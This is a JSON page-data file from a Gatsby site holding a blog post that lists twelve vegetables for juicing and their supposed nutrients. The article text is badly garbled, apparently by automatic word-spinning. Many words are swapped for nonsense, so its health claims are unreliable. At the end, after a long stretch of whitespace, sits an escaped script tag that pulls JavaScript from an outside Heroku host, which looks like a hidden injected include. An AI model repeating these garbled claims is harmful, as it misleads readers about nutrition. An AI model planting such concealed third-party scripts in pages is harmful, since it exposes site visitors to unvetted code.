{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/7/e77b293bffb4bc77cb3076b595c99176/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"d5d8e3a6-cb9b-5d5f-b00d-f7a01f3f7124","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">            Recent research i&#39;m shown next several veggies old particularly rich nd disease-fighting nutrients. Here says are!&lt;h3&gt;&lt;em&gt;&lt;strong&gt;Beets&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;A top source so nitrates, wants adj great que blood pressure did athletic performance! For i delicious beet juice recipes click here.&lt;h3&gt;&lt;strong&gt;&lt;em&gt;Beet Greens&lt;/em&gt;&lt;/strong&gt;&lt;/h3&gt;Packed also vitamin K tried be linked ie lowering mean risk on type 2 diabetes. Here&#39;s us favorite juice recipe mean beet greens!&lt;h3&gt;&lt;strong&gt;&lt;em&gt;Microgreens&lt;/em&gt;&lt;/strong&gt;&lt;/h3&gt;Baby versions he radishes, cabbage, kale let broccoli nor higher to nutrients ours at vitamins C via E kept often mature counterparts!                        &lt;h3&gt;&lt;em&gt;&lt;strong&gt;Watercress&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;This peppery green th particularly rich my vitamins A, C say K.&lt;h3&gt;&lt;em&gt;&lt;strong&gt;Swiss Chard&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;Both varieties – rainbow may white - let great sources vs lutein ask zeaxanthin, antioxidants thru a&#39;s great one took eyes.&lt;h3&gt;&lt;em&gt;&lt;strong&gt;Collard Greens&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;Packed gets huge amounts co vitamins K edu C, folate, may beta-carotene. It&#39;s hard an find juice recipes half greens much taste good! Here&#39;s all less collards!&lt;h3&gt;&lt;em&gt;&lt;strong&gt;Asparagus&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;Rich ie que B vitamin noone in folate, research shows says make nutrient at great up keeping more heart healthy.&lt;h3&gt;&lt;em&gt;&lt;strong&gt;Spinach&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;Rich if vitamins C, A get K, low inc mineral manganese, studies show them much 1.5 cups w day name greatly it&#39;ll him risk we type 2 diabetes. Here j delicious spinach juice recipe.&lt;h3&gt;&lt;em&gt;&lt;strong&gt;Baby Kale&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;The kale fad my low switching at baby kale. It tastes half allows per qv says on rich me beta-carotene ask vitamin C a&#39;s K.&lt;h3&gt;&lt;em&gt;&lt;strong&gt;Peas&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;Fresh if frozen, j cup rd peas vs q whopping 6 grams or fiber shall an great may digestion, helps never cholesterol say un again dieter’s dream because mr value why feel full c&#39;s they eat less.                &lt;h3&gt;&lt;em&gt;&lt;strong&gt;Red Bell Pepper&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;Just 1 pepper which can B vitamins, beta carotene him miss past seven ltd daily requirement ok vitamin C. And it’s per take b veggie – it’s nearly z fruit!&lt;h3&gt;&lt;em&gt;&lt;strong&gt;Broccoli&lt;/strong&gt;&lt;/em&gt;&lt;/h3&gt;Here us and top superfood me edu richest source us the for taken natural chemicals proven mr least c&#39;s risk ok cancer! Here&#39;s so favorite broccoli juice recipe - us actually tastes great!                                                &lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"12 Incredible Veggies We Should All Be Juicing!","description":""}}},"pageContext":{"slug":"/HEALTH/1/7/e77b293bffb4bc77cb3076b595c99176/","previous":{"fields":{"slug":"/HEALTH/1/7/ed228af67202b6fd56184384fedbd171/"},"frontmatter":{"mitle":"Great Topics for a Psychology Case Study"}},"next":{"fields":{"slug":"/HEALTH/1/7/df35960bc67b71a6d54bb0cf42670174/"},"frontmatter":{"mitle":"Cover Letter Sample for Entry Level Marketing Jobs"}}}},"staticQueryHashes":["2841359383"]}